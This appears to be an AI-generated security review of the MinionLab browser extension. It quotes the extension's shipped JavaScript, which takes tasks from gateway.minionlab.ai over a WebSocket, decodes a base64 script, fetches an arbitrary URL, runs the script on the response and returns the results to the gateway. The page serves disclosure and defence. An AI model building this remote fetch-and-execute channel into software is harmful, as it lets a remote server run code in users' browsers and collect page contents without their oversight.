Is MinionLab safe?
MinionLab is medium risk. Code analysis shows MinionLab can receive task messages from gateway.minionlab.ai, decode a base64 JS field, fetch the task URL, and run the decoded script against the response. Confirmed from shipped code, not an observed gateway task.
AI-generated. Findings may contain errors. Those marked Verified have been manually reviewed.
Publishers can request a review.
Findings
Remote gateway scripts run on fetched page content
Code analysis shows MinionLab can receive task messages from gateway.minionlab.ai, decode a base64 JS field, fetch the task URL, and run the decoded script against the response.
Confirmed from shipped code, not an observed gateway task.
The gateway sends a task that contains a URL and an encoded script.
The behavior depends on a task arriving through the extension gateway channel.
The extension fetches the URL, decodes the script, and runs it on the fetched response.
The parsed result can then be returned to the gateway over the same task channel.
| Content-Type | application/json |
| Field | Value | Why it matters | |
|---|---|---|---|
Task URL | https://example.com/account | Lets the gateway choose which page response the extension will fetch and process. | |
Parser script | A base64-encoded script field in the task message | Lets the gateway provide code that decides what to extract from the fetched page response. | |
Fetched page response | <html><body>Account page text</body></html> (illustrative) | The script can process the HTML or text returned by the requested page. | |
Task identifier | task-9f3c2a71 | Ties each returned result to the specific task that the gateway assigned. |
Shipped code path for decoding gateway scripts and executing them on fetched content
class Jc {
constructor(e, u, r, s, i, a, n, c) {
this.taskid = e, this.controller = new AbortController, this.born = new Date().getTime(), this.timeout = c;
let l = {
signal: this.controller.signal,
method: u,
headers: s
};
i !== "" && u === "POST" && (l.body = i);
let h = -1;
this.task = fetch(r, l).then(async d => {
let y = await d.text();
console.log("respone is " + y);
let S = "";
a.length > 0 && (S = await _t.execute(a, y, this.timeout)), h = d.status;
let T = self.btoa(self.encodeURIComponent(y));
if (d.ok) ao(e, S, n ? T : "", h);
else throw new Wt(zt.NETWORK_ERROR, y)
}).catch(d => {
console.error("error " + d.message), Si(e, d.message, d.code || dr, h)
}).finally(() => {
console.log("task " + e.toString() + " done")
})
}
cancel() {
this.controller.abort()
}
}class uo {
constructor(e, u, r) {
this.conns = new Map;
let s = new WebSocket("wss://" + e + "/connect");
this.timerId = setInterval(i => {
i.ws && i.ws.send(JSON.stringify({
type: "ping"
}))
}, Yc, this), this.clearTimerId = setInterval(i => {
let a = new Date().getTime();
for (const [n, c] of i.conns.entries()) c.born + to < a && (c.cancel(), console.log("task " + n + " expired born at " + c.born.toString() + " now is " + a.toString()))
}, eo, this), s.onopen = () => {
console.log("gateway open");
let i = JSON.stringify({
type: "register",
user: u,
dev: r
});
s.send(i), this.ws = s
}, s.onmessage = i => {
if (typeof i.data != "string" || i.data == "pong") {
console.log(i.data);
return
}
let a;
try {
console.log("evt.data is " + i.data), a = JSON.parse(i.data), this._handleMessage(a)
} catch (n) {
console.log("on message " + n.toString() + " " + i.data), a && a.taskid && typeof a.taskid == "string" && Si(a.taskid, n.toString())
}
}, s.onerror = i => {
console.log("wsocket error " + i), s.close()
}, s.onclose = () => {
console.log("wsocket closed"), this.ws = null, no()
}
}
_handleMessage(e) {
switch (e.type) {
case "request":
this._handleRequest(e);
break;
case "cancel":
this._handleCancel(e.taskid);
break;
case "show":
this._handleShow();
default:
console.log("unexpepct msg type " + e.type)
}
}
_handleCancel(e) {
let u = this.conns.get(e);
this.conns.delete(e) && u.cancel()
}
_handleRequest(e) {
let u = e.taskid && typeof e.taskid == "string" ? e.taskid : "",
r = e.data && e.data.debug && typeof e.data.debug == "boolean" ? e.data.debug : !1,
s = e.data.method && typeof e.data.method == "string" ? e.data.method : "GET",
i = e.data.url && typeof e.data.url == "string" ? e.data.url : "",
a = e.data.headers && e.data.headers instanceof Object ? e.data.headers : {},
n = e.data.body && typeof e.data.body == "string" ? e.data.body : "",
c = e.data.timeout || 15e3,
l = e.data.script && typeof e.data.script == "string" ? e.data.script : "";
if (this.conns.size >= Xc) throw new Error("conns limit exceed " + this.conns.size.toString());
if (this.conns.get(u)) throw new Error("conns duplicated " + u.toString());
if (l !== "" && (l = self.atob(l)), console.log("script is " + l), n !== "" && (n = self.atob(n)), console.log("body is " + n), i === "") throw new Error("conn without url");
if (u === "") throw new Error("conn without taskid");
this.conns.set(u, new Jc(u, s, i, a, n, l, r, c))
}
_handleShow() {
console.log("show tasks");
let e = JSON.stringify({
type: "show",
tasks: Array.from(this.conns.keys())
});
this.ws && this.ws.send(e)
}
clear() {
this.clearTimerId && (clearInterval(this.clearTimerId), this.clearTimerId = null), this.timerId && (clearInterval(this.timerId), this.timerId = null), this.ws && (this.ws.close(), this.ws = null), this.conns.clear()
}
transferResult(e, u, r, s) {
if (!this.conns.delete(e)) {
console.log("transfer result -- deleted already " + e.toString());
return
}
if (!this.ws) return;
let i = JSON.stringify({
type: "response",
taskid: e,
result: {
parsed: u,
html: r,
rawStatus: s
}
});
console.log("result is " + i), this.ws.send(i)
}
transferError(e, u, r, s) {
if (!this.conns.delete(e)) {
console.log("transfer error -- deleted already " + e.toString());
return
}
let i = JSON.stringify({
type: "error",
taskid: e,
error: u,
errorCode: r,
rawStatus: s
});
this.ws && (console.log("transfer error " + i), this.ws.send(i))
}
}class io {
constructor(e, u, r) {
this.user = e, this.dev = u, this.server = null, this.gw = null, this.executor = r, setTimeout(() => {
this._dispatch()
}, 0), this.timerId = setInterval(() => {
this._dispatch()
}, so)
}
async execute(e, u, r = 15e3) {
let s = "";
try {
const i = new Promise((a, n) => setTimeout(() => n(new Wt(zt.PARSE_SCRIPT_TIMEOUT, "parse script timeout")), r));
if (s = await Promise.race([this.executor(e, u), i]), !s || s === "") throw new Wt(zt.PARSE_SCRIPT_RESULT_EMPTY, "parse script result empty")
} catch (i) {
throw i instanceof Wt ? i : new Wt(zt.PARSE_SCRIPT_ERROR, i.message)
}
return s
}
clearGateway() {
this.gw && this.gw.clear(), this.gw = null, setTimeout(() => {
console.log("reconnecting"), !this.gw && this.server && (this.gw = new uo(this.server, this.user, this.dev))
}, 3e3)
}
transferResult(e, u, r, s) {
this.gw && this.gw.transferResult(e, u, r, s)
}
transferError(e, u, r = dr, s = -1) {
this.gw && this.gw.transferError(e, u, r, s)
}
_dispatch() {
fetch(ro, {
method: "POST",
headers: {
"Content-Type": "application/json"
},
body: JSON.stringify({
user: this.user,
dev: this.dev
})
}).then(e => e.json()).then(e => {
if (console.log("server is " + e.server.toString()), e.server) {
let u = this.server;
this.server = e.server, u != this.server && this.clearGateway()
}
}).catch(e => {
console.error("fetch error : ", e)
})
}
}a = (n, c) => {
try {
console.log("执行任务", n);
let l = c;
l = l.replace(/[\u0000-\u001F\u007F]/g, "");
let h = JSON.stringify(l);
const d = {
htmlparser2: Zl,
DOMParser: di
},
y = new me(d, {
timeout: 1e3
});
let S = n + `; extractData(${h})`;
const T = y.evaluate(S);
return console.log("执行结果->>", T), T
} catch (l) {
return console.error("Error executing code:", l), null
}
}- gateway.minionlab.ai
Receives the dispatch request and returns the gateway host used for task assignment.
- api.minionlab.ai
Configured service home in the extension constants.
- app.minionlab.ai
Configured dashboard URL in the extension constants.
What it can do
Permissions this extension asks for, as declared in version 0.2.8. Asking for a permission is not a finding on its own - it is what the extension can do if it chooses to.
Store data in your browser
storage
Detect when you step away from your computer
idle